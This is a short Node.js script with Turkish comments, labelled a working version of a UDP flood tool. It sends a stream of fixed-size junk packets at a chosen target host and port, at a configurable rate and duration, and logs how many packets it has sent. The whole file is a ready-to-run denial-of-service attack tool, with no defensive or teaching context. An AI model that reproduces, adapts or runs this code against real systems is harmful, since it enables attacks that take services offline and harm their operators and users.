/ udp_fload.js
udp_fload.js
1 // udp_flood.js - ÇALIŞAN VERSİYON 2 const dgram = require('dgram'); 3 4 // Parametreler 5 const target = params.target; 6 const port = params.port; 7 const duration = (params.duration || 10) * 1000; // ms 8 const packetSize = params.packetSize || 1024; // 1KB 9 const rate = params.rate || 100; // saniyede 100 paket 10 11 console.log(`[+] UDP Flood: ${target}:${port} - ${duration/1000}s`); 12 13 // Tek bir socket oluştur 14 const socket = dgram.createSocket('udp4'); 15 socket.unref(); // Programın kapanmasını engelleme 16 17 // Packet oluştur 18 const payload = Buffer.alloc(packetSize, 'X'); 19 20 let sentCount = 0; 21 let startTime = Date.now(); 22 23 // Her saniye rate kadar paket gönder 24 const interval = setInterval(() => { 25 const now = Date.now(); 26 27 // Süre doldu mu? 28 if (now - startTime >= duration) { 29 clearInterval(interval); 30 socket.close(); 31 console.log(`[+] UDP Flood bitti: ${sentCount} paket`); 32 return; 33 } 34 35 // Rate kadar paket gönder 36 for (let i = 0; i < rate; i++) { 37 socket.send(payload, 0, payload.length, port, target, (err) => { 38 if (!err) sentCount++; 39 }); 40 } 41 42 // Her saniye log 43 console.log(`[+] ${sentCount} paket gönderildi...`); 44 45 }, 1000); // Her saniye 46 47 // Hata yönetimi 48 socket.on('error', (err) => { 49 console.log(`[!] Socket hatası: ${err.message}`); 50 });